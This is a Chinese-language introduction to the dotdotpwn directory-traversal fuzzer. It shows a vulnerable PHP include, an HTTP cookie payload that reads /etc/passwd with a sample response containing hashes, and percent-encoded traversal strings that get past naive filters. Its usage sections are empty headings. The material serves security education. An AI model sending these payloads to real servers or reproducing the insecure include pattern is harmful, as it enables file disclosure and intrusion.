概述:
dotdotpwn是一个只能的灵活的模糊测试器,用来测试web/ftp/tftp中的目录遍历漏洞。web平台包括CMS,ERP,Blog等。同时它含有一个协议独立的模块用来向指定的主机和端口发送荷载。另一方面,它也别设计为可以使用STDOUT。它使用Perl语音编写,并且可以运行在*NIX和windows平台。
目录遍历漏洞是由于不充分验证/检查用户输入的文件名造成的。所以那些通过遍历到父目录的字符串通过API传递。这类这类攻击的目标是访问不应该访问的文件。目录遍历通常也是../(dot dot slash)攻击。
典型PHP代码如下:
<?php $template = "blue.php" if (isset($_COOKIE['TEMPLATE'])) $template = $_COOKIE['TEMPLATE']; include ("/home/user/phpguru/templates/" . $template); ?>
使用如下的HTTP请求对这个系统进行攻击:
GET /vulenarale.php HTTP/1.0 Cookie: TEMPLATE=../../../../../../../etc/passwd
产生如下服务器响应:
HTTP/1.0 200 OK Content-Type: text/html Server: Apache root:fi3sED95ibpR6:0:1:System Operator:/:/bin/ksh demo:*:1:1::/tmp: phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh
一些web应用程序扫描请求来检查危险字符(来阻止目录遍历攻击),例如:
..
..\
../
但是查询语句通常在URI使用之前解码。所以这些应用程序含有百分号编码的文件夹遍历漏洞,例如:
%2e%2e%2f 等效于 ../
%2e%2e/ 等效于 ../
..%2f 等效于 ../
%2e%2e%5c等效于 ..\
架构:
Usage:
Example:
HTTP
FTP: